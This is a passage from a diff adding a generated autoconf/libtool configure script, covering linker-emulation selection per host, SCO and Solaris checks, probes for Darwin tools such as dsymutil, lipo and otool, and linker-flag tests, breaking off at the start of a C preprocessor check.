>&5 + test $ac_status = 0; }; then + case `/usr/bin/file conftest.o` in + *32-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_i386_fbsd" + ;; + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_x86_64_fbsd" + ;; + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*|s390*-*tpf*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5 +$as_echo_n "checking whether the C compiler needs -belf... " >&6; } +if ${lt_cv_cc_needs_belf+:} false; then : + $as_echo_n "(cached) " >&6 +else + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + lt_cv_cc_needs_belf=yes +else + lt_cv_cc_needs_belf=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_cc_needs_belf" >&5 +$as_echo "$lt_cv_cc_needs_belf" >&6; } + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 or newer; no need for -belf + CFLAGS="$SAVE_CFLAGS" + fi + ;; +*-*solaris*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + case `/usr/bin/file conftest.o` in + *64-bit*) + case $lt_cv_prog_gnu_ld in + yes*) + case $host in + i?86-*-solaris*) + LD="${LD-ld} -m elf_x86_64" + ;; + sparc*-*-solaris*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + # GNU ld 2.21 introduced _sol2 emulations. Use them if available. + if ${LD-ld} -V | grep _sol2 >/dev/null 2>&1; then + LD="${LD-ld}_sol2" + fi + ;; + *) + if ${LD-ld} -64 -r -o conftest2.o conftest.o >/dev/null 2>&1; then + LD="${LD-ld} -64" + fi + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; +esac + +need_locks="$enable_libtool_lock" + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args. +set dummy ${ac_tool_prefix}mt; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_MANIFEST_TOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$MANIFEST_TOOL"; then + ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL +if test -n "$MANIFEST_TOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5 +$as_echo "$MANIFEST_TOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_MANIFEST_TOOL"; then + ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL + # Extract the first word of "mt", so it can be a program name with args. +set dummy mt; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_MANIFEST_TOOL"; then + ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_MANIFEST_TOOL="mt" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL +if test -n "$ac_ct_MANIFEST_TOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5 +$as_echo "$ac_ct_MANIFEST_TOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_MANIFEST_TOOL" = x; then + MANIFEST_TOOL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL + fi +else + MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL" +fi + +test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5 +$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; } +if ${lt_cv_path_mainfest_tool+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_path_mainfest_tool=no + echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5 + $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out + cat conftest.err >&5 + if $GREP 'Manifest Tool' conftest.out > /dev/null; then + lt_cv_path_mainfest_tool=yes + fi + rm -f conftest* +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5 +$as_echo "$lt_cv_path_mainfest_tool" >&6; } +if test "x$lt_cv_path_mainfest_tool" != xyes; then + MANIFEST_TOOL=: +fi + + + + + + + case $host_os in + rhapsody* | darwin*) + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dsymutil", so it can be a program name with args. +set dummy ${ac_tool_prefix}dsymutil; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_DSYMUTIL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$DSYMUTIL"; then + ac_cv_prog_DSYMUTIL="$DSYMUTIL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_DSYMUTIL="${ac_tool_prefix}dsymutil" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +DSYMUTIL=$ac_cv_prog_DSYMUTIL +if test -n "$DSYMUTIL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DSYMUTIL" >&5 +$as_echo "$DSYMUTIL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DSYMUTIL"; then + ac_ct_DSYMUTIL=$DSYMUTIL + # Extract the first word of "dsymutil", so it can be a program name with args. +set dummy dsymutil; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_DSYMUTIL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_DSYMUTIL"; then + ac_cv_prog_ac_ct_DSYMUTIL="$ac_ct_DSYMUTIL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DSYMUTIL="dsymutil" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_DSYMUTIL=$ac_cv_prog_ac_ct_DSYMUTIL +if test -n "$ac_ct_DSYMUTIL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DSYMUTIL" >&5 +$as_echo "$ac_ct_DSYMUTIL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_DSYMUTIL" = x; then + DSYMUTIL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DSYMUTIL=$ac_ct_DSYMUTIL + fi +else + DSYMUTIL="$ac_cv_prog_DSYMUTIL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}nmedit", so it can be a program name with args. +set dummy ${ac_tool_prefix}nmedit; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_NMEDIT+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$NMEDIT"; then + ac_cv_prog_NMEDIT="$NMEDIT" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_NMEDIT="${ac_tool_prefix}nmedit" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +NMEDIT=$ac_cv_prog_NMEDIT +if test -n "$NMEDIT"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $NMEDIT" >&5 +$as_echo "$NMEDIT" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_NMEDIT"; then + ac_ct_NMEDIT=$NMEDIT + # Extract the first word of "nmedit", so it can be a program name with args. +set dummy nmedit; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_NMEDIT+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_NMEDIT"; then + ac_cv_prog_ac_ct_NMEDIT="$ac_ct_NMEDIT" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_NMEDIT="nmedit" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_NMEDIT=$ac_cv_prog_ac_ct_NMEDIT +if test -n "$ac_ct_NMEDIT"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_NMEDIT" >&5 +$as_echo "$ac_ct_NMEDIT" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_NMEDIT" = x; then + NMEDIT=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + NMEDIT=$ac_ct_NMEDIT + fi +else + NMEDIT="$ac_cv_prog_NMEDIT" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}lipo", so it can be a program name with args. +set dummy ${ac_tool_prefix}lipo; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_LIPO+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$LIPO"; then + ac_cv_prog_LIPO="$LIPO" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_LIPO="${ac_tool_prefix}lipo" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +LIPO=$ac_cv_prog_LIPO +if test -n "$LIPO"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LIPO" >&5 +$as_echo "$LIPO" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_LIPO"; then + ac_ct_LIPO=$LIPO + # Extract the first word of "lipo", so it can be a program name with args. +set dummy lipo; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_LIPO+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_LIPO"; then + ac_cv_prog_ac_ct_LIPO="$ac_ct_LIPO" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_LIPO="lipo" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_LIPO=$ac_cv_prog_ac_ct_LIPO +if test -n "$ac_ct_LIPO"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_LIPO" >&5 +$as_echo "$ac_ct_LIPO" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_LIPO" = x; then + LIPO=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + LIPO=$ac_ct_LIPO + fi +else + LIPO="$ac_cv_prog_LIPO" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}otool", so it can be a program name with args. +set dummy ${ac_tool_prefix}otool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_OTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$OTOOL"; then + ac_cv_prog_OTOOL="$OTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_OTOOL="${ac_tool_prefix}otool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +OTOOL=$ac_cv_prog_OTOOL +if test -n "$OTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OTOOL" >&5 +$as_echo "$OTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OTOOL"; then + ac_ct_OTOOL=$OTOOL + # Extract the first word of "otool", so it can be a program name with args. +set dummy otool; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_OTOOL+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_OTOOL"; then + ac_cv_prog_ac_ct_OTOOL="$ac_ct_OTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OTOOL="otool" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_OTOOL=$ac_cv_prog_ac_ct_OTOOL +if test -n "$ac_ct_OTOOL"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL" >&5 +$as_echo "$ac_ct_OTOOL" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_OTOOL" = x; then + OTOOL=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OTOOL=$ac_ct_OTOOL + fi +else + OTOOL="$ac_cv_prog_OTOOL" +fi + + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}otool64", so it can be a program name with args. +set dummy ${ac_tool_prefix}otool64; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_OTOOL64+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$OTOOL64"; then + ac_cv_prog_OTOOL64="$OTOOL64" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_OTOOL64="${ac_tool_prefix}otool64" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +OTOOL64=$ac_cv_prog_OTOOL64 +if test -n "$OTOOL64"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OTOOL64" >&5 +$as_echo "$OTOOL64" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OTOOL64"; then + ac_ct_OTOOL64=$OTOOL64 + # Extract the first word of "otool64", so it can be a program name with args. +set dummy otool64; ac_word=$2 +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +$as_echo_n "checking for $ac_word... " >&6; } +if ${ac_cv_prog_ac_ct_OTOOL64+:} false; then : + $as_echo_n "(cached) " >&6 +else + if test -n "$ac_ct_OTOOL64"; then + ac_cv_prog_ac_ct_OTOOL64="$ac_ct_OTOOL64" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OTOOL64="otool64" + $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_OTOOL64=$ac_cv_prog_ac_ct_OTOOL64 +if test -n "$ac_ct_OTOOL64"; then + { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OTOOL64" >&5 +$as_echo "$ac_ct_OTOOL64" >&6; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +fi + + if test "x$ac_ct_OTOOL64" = x; then + OTOOL64=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OTOOL64=$ac_ct_OTOOL64 + fi +else + OTOOL64="$ac_cv_prog_OTOOL64" +fi + + + + + + + + + + + + + + + + + + + + + + + + + + + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for -single_module linker flag" >&5 +$as_echo_n "checking for -single_module linker flag... " >&6; } +if ${lt_cv_apple_cc_single_mod+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_apple_cc_single_mod=no + if test -z "${LT_MULTI_MODULE}"; then + # By default we will add the -single_module flag. You can override + # by either setting the environment variable LT_MULTI_MODULE + # non-empty at configure time, or by adding -multi_module to the + # link flags. + rm -rf libconftest.dylib* + echo "int foo(void){return 1;}" > conftest.c + echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ +-dynamiclib -Wl,-single_module conftest.c" >&5 + $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ + -dynamiclib -Wl,-single_module conftest.c 2>conftest.err + _lt_result=$? + # If there is a non-empty error log, and "single_module" + # appears in it, assume the flag caused a linker warning + if test -s conftest.err && $GREP single_module conftest.err; then + cat conftest.err >&5 + # Otherwise, if the output was created with a 0 exit code from + # the compiler, it worked. + elif test -f libconftest.dylib && test $_lt_result -eq 0; then + lt_cv_apple_cc_single_mod=yes + else + cat conftest.err >&5 + fi + rm -rf libconftest.dylib* + rm -f conftest.* + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_apple_cc_single_mod" >&5 +$as_echo "$lt_cv_apple_cc_single_mod" >&6; } + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for -exported_symbols_list linker flag" >&5 +$as_echo_n "checking for -exported_symbols_list linker flag... " >&6; } +if ${lt_cv_ld_exported_symbols_list+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_ld_exported_symbols_list=no + save_LDFLAGS=$LDFLAGS + echo "_main" > conftest.sym + LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO"; then : + lt_cv_ld_exported_symbols_list=yes +else + lt_cv_ld_exported_symbols_list=no +fi +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + LDFLAGS="$save_LDFLAGS" + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_exported_symbols_list" >&5 +$as_echo "$lt_cv_ld_exported_symbols_list" >&6; } + + { $as_echo "$as_me:${as_lineno-$LINENO}: checking for -force_load linker flag" >&5 +$as_echo_n "checking for -force_load linker flag... " >&6; } +if ${lt_cv_ld_force_load+:} false; then : + $as_echo_n "(cached) " >&6 +else + lt_cv_ld_force_load=no + cat > conftest.c << _LT_EOF +int forced_loaded() { return 2;} +_LT_EOF + echo "$LTCC $LTCFLAGS -c -o conftest.o conftest.c" >&5 + $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5 + echo "$AR cru libconftest.a conftest.o" >&5 + $AR cru libconftest.a conftest.o 2>&5 + echo "$RANLIB libconftest.a" >&5 + $RANLIB libconftest.a 2>&5 + cat > conftest.c << _LT_EOF +int main() { return 0;} +_LT_EOF + echo "$LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a" >&5 + $LTCC $LTCFLAGS $LDFLAGS -o conftest conftest.c -Wl,-force_load,./libconftest.a 2>conftest.err + _lt_result=$? + if test -s conftest.err && $GREP force_load conftest.err; then + cat conftest.err >&5 + elif test -f conftest && test $_lt_result -eq 0 && $GREP forced_load conftest >/dev/null 2>&1 ; then + lt_cv_ld_force_load=yes + else + cat conftest.err >&5 + fi + rm -f conftest.err libconftest.a conftest conftest.c + rm -rf conftest.dSYM + +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_force_load" >&5 +$as_echo "$lt_cv_ld_force_load" >&6; } + case $host_os in + rhapsody* | darwin1.[012]) + _lt_dar_allow_undefined='${wl}-undefined ${wl}suppress' ;; + darwin1.*) + _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; + darwin*) # darwin 5.x on + # if running on 10.5 or later, the deployment target defaults + # to the OS version, if on x86, and 10.4, the deployment + # target defaults to 10.4. Don't you love it? + case ${MACOSX_DEPLOYMENT_TARGET-10.0},$host in + 10.0,*86*-darwin8*|10.0,*-darwin[91]*) + _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; + 10.[012]*) + _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; + 10.*) + _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; + esac + ;; + esac + if test "$lt_cv_apple_cc_single_mod" = "yes"; then + _lt_dar_single_mod='$single_module' + fi + if test "$lt_cv_ld_exported_symbols_list" = "yes"; then + _lt_dar_export_syms=' ${wl}-exported_symbols_list,$output_objdir/${libname}-symbols.expsym' + else + _lt_dar_export_syms='~$NMEDIT -s $output_objdir/${libname}-symbols.expsym ${lib}' + fi + if test "$DSYMUTIL" != ":" && test "$lt_cv_ld_force_load" = "no"; then + _lt_dsymutil='~$DSYMUTIL $lib || :' + else + _lt_dsymutil= + fi + ;; + esac + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 +$as_echo_n "checking how to run the C preprocessor... " >&6; } +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if ${ac_cv_prog_CPP+:} false; then : + $as_echo_n "(cached) " >&6 +else + # Double quotes because CPP needs 